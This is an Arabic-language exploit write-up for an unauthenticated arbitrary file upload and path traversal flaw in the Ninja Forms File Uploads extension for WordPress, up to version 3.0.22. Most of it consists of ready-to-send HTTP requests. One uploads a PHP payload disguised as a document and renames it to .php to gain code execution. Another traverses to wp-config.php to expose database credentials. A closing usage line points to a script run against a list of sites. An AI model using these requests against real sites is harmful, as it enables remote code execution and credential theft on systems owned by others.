
(WordPress) Ninja Forms File Uploads Extension <= 3.0.22 – رفع ملفات تعسفي بدون مصادقة
(ووردبريس) Ninja Forms File Uploads Extension <= 3.0.22 – رفع ملفات اعتباطي غير مصادق عليه
توجد ثغرة اجتياز المسار ورفع ملفات غير مقيد في إضافة Ninja Forms قبل الإصدار 3.0.23 لووردبريس (عند تفعيل إضافة Uploads). تسمح هذه الثغرة للمهاجم باجتياز نظام الملفات للوصول إلى الملفات وتنفيذ التعليمات البرمجية عبر المعاملين name و tmp_name في includes/fields/upload.php (المعروفة أيضًا بصفحة upload/submit).
طلب رفع الملف الأولي:
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
الاستجابة:
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
عند إرسال النموذج، يتم نقل الملف المؤقت الذي تم رفعه مبدئيًا إلى موقع جديد:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
يتم بعد ذلك "تعقيم" المعامل "name" بواسطة دالة ووردبريس sanitize_file_name، والتي تزيل بشكل أساسي مجموعة من الأحرف الخاصة المحددة مسبقًا فقط:
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Removes special characters that are illegal in filenames
on certain operating systems and special characters
requiring special escaping to manipulate at the command line.
Replaces spaces and consecutive dashes with a single dash.
Trims period, dash and underscore from beginning and end of filename.
It is not guaranteed that this function will return a filename
that is allowed to be uploaded.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
يؤدي هذا إلى نقل الملف المؤقت إلى موقعه النهائي: /wp-content/uploads/ninja-forms/1/test.php
إذا لم يتم جعل مجلد الرفع غير قابل للتنفيذ بشكل صريح، وهو ليس الحال افتراضيًا، فإن ذلك يؤدي إلى تنفيذ التعليمات البرمجية:

اجتياز المسار في tmp_name:
عند إرسال النموذج، من الممكن أيضًا اجتياز نظام الملفات عبر المعامل tmp_name كما هو موضح أدناه. ضع في اعتبارك أن الملفات المؤقتة يتم نقلها إلى موقعها الجديد داخل مجلد uploads!
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
يؤدي هذا إلى نقل ملف wp-config.php إلى الموقع التالي: /wp-content/uploads/ninja-forms/1/test.doc
USAGE: python script.py list-site.txt